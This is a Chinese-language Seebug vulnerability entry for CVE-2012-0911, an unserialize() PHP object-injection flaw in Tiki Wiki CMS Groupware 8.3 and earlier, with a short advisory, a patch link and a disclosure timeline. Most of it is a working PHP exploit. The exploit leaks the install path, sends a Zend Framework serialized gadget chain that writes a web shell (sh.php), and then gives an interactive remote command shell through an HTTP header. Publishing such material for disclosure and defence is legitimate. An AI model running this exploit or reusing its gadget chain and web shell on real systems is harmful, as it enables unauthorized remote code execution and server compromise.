Tiki Wiki CMS Groupware 'unserialize()' PHP代码执行漏洞

2012-07-06T00:00:00
ID SSV:60261
Type seebug
Reporter Root
Modified 2012-07-06T00:00:00

Description

Bugtraq ID: 54298 CVE ID:CVE-2012-0911

Tiki Wiki CMS Groupware是一款内容管理和协作系统。 Tiki Wiki CMS Groupware多个脚本使用用户可控的输入调用"unserialize()",这可导致通过传递ad-hoc Zend Framework序列化对象来执行任意PHP代码。 0 Tiki Wiki CMS Groupware <= 8.3 厂商补丁:

Tiki Wiki

Tiki Wiki CMS Groupware 8.4已经修复此漏洞,建议用户下载使用:

http://info.tiki.org/article191-Tiki-Releases-8-4

                                        
                                            
                                                &lt;?php
 
/*
    -----------------------------------------------------------------
    Tiki Wiki CMS Groupware &lt;= 8.3 &quot;unserialize()&quot; PHP Code Execution
    -----------------------------------------------------------------
   
    author...........: Egidio Romano aka EgiX
    mail.............: n0b0d13s[at]gmail[dot]com
    software link....: http://info.tiki.org/
   
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
     
    [-] Vulnerable code in different locations:
   
    lib/banners/bannerlib.php:28:                   $views = unserialize($_COOKIE[$cookieName]);
    lib/banners/bannerlib.php:136:                  $views = unserialize($_COOKIE[$cookieName]);
    tiki-print_multi_pages.php:19:          $printpages = unserialize(urldecode($_REQUEST['printpages']));
    tiki-print_multi_pages.php:24:          $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
    tiki-print_pages.php:31:        $printpages = unserialize(urldecode($_REQUEST[&quot;printpages&quot;]));
    tiki-print_pages.php:32:        $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
    tiki-send_objects.php:42:       $sendpages = unserialize(urldecode($_REQUEST['sendpages']));
    tiki-send_objects.php:48:       $sendstructures = unserialize(urldecode($_REQUEST['sendstructures']));
    tiki-send_objects.php:54:       $sendarticles = unserialize(urldecode($_REQUEST['sendarticles']));
     
    The vulnerability is caused due to all these scripts using &quot;unserialize()&quot; with user controlled input.
    This can lead to execution of arbitrary PHP code passing an  ad-hoc Zend Framework serialized  object.
 
    [-] Full path disclosure at:
   
    http://[host]/[path]/admin/include_calendar.php
    http://[host]/[path]/tiki-rss_error.php
    http://[host]/[path]/tiki-watershed_service.php
   
    [-] Disclosure timeline:
   
    [11/01/2012] - Vulnerability discovered
    [14/01/2012] - Issue reported to security(at)tikiwiki.org
    [14/01/2012] - New ticket opened: http://dev.tiki.org/item4109
    [23/01/2012] - CVE number requested
    [23/01/2012] - Assigned CVE-2012-0911
    [01/05/2012] - Version 8.4 released: http://info.tiki.org/article191-Tiki-Releases-8-4
    [04/07/2012] - Public disclosure
  
*/
  
error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;, 5);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die(&quot;\n[-] No response from {$host}:80\n&quot;);
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
 
function get_path()
{
    global $host, $path;
     
    $packet  = &quot;GET {$path}tiki-rss_error.php HTTP/1.0\r\n&quot;;
    $packet .= &quot;Host: {$host}\r\n&quot;;
    $packet .= &quot;Connection: close\r\n\r\n&quot;;
      
    if (!preg_match('/in &lt;b&gt;(.*)tiki-rss/', http_send($host, $packet), $m)) die(&quot;\n[-] Path not found!\n&quot;);
    return $m[1];
}
 
 
print &quot;\n+----------------------------------------------------------------------+&quot;;
print &quot;\n| Tiki Wiki CMS Groupware &lt;= 8.3 Remote Code Execution Exploit by EgiX |&quot;;
print &quot;\n+----------------------------------------------------------------------+\n&quot;;
 
if ($argc &lt; 3)
{
    print &quot;\nUsage......: php $argv[0] &lt;host&gt; &lt;path&gt;\n&quot;;
    print &quot;\nExample....: php $argv[0] localhost /&quot;;
    print &quot;\nExample....: php $argv[0] localhost /tiki/\n&quot;;
    die();
}
 
list($host, $path) = array($argv[1], $argv[2]);
 
$f_path = get_path();
print &quot;\n[-] Path disclosure: {$f_path}\n&quot;;
 
class Zend_Search_Lucene_Index_FieldInfo
{
    public $name = '&lt;?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD])); die; ?&gt;';
}
 
class Zend_Search_Lucene_Storage_Directory_Filesystem
{
    protected $_dirPath = null;
     
    public function __construct($path)
    {
        $this-&gt;_dirPath = $path;
    }
}
 
interface Zend_Pdf_ElementFactory_Interface {}
 
class Zend_Search_Lucene_Index_SegmentWriter_StreamWriter implements Zend_Pdf_ElementFactory_Interface
{
    protected $_docCount = 1;
    protected $_name = 'foo';
    protected $_directory;
    protected $_fields;
    protected $_files;
     
    public function __construct($directory, $fields)
    {
        $this-&gt;_directory = $directory;
        $this-&gt;_fields    = array($fields);
        $this-&gt;_files     = new stdClass;
    }
}   
 
class Zend_Pdf_ElementFactory_Proxy
{
    private $_factory;
     
    public function __construct(Zend_Pdf_ElementFactory_Interface $factory)
    {
        $this-&gt;_factory = $factory;
    }
}
 
// http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
$directory = new Zend_Search_Lucene_Storage_Directory_Filesystem($f_path.&quot;sh.php\0&quot;);
$__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWriter($directory, new Zend_Search_Lucene_Index_FieldInfo);
$____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory);
 
$payload = urlencode(serialize($____proxy));
$payload = str_replace('%00', '%2500', $payload);
$payload = &quot;printpages={$payload}&quot;;
 
$packet  = &quot;POST {$path}tiki-print_multi_pages.php HTTP/1.0\r\n&quot;;
$packet .= &quot;Host: {$host}\r\n&quot;;
$packet .= &quot;Content-Length: &quot;.strlen($payload).&quot;\r\n&quot;;
$packet .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$packet .= &quot;Connection: close\r\n\r\n{$payload}&quot;;
 
if (preg_match('/multiprint/', http_send($host, $packet))) die(&quot;[-] Multi-print feature disabled!\n&quot;);
 
$packet  = &quot;GET {$path}sh.php HTTP/1.0\r\n&quot;;
$packet .= &quot;Host: {$host}\r\n&quot;;
$packet .= &quot;Cmd: %s\r\n&quot;;
$packet .= &quot;Connection: close\r\n\r\n&quot;;
 
while(1)
{
    print &quot;\ntiki-shell# &quot;;
    if (($cmd = trim(fgets(STDIN))) == &quot;exit&quot;) break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die(&quot;\n[-] Exploit failed!\n&quot;);
}
?&gt;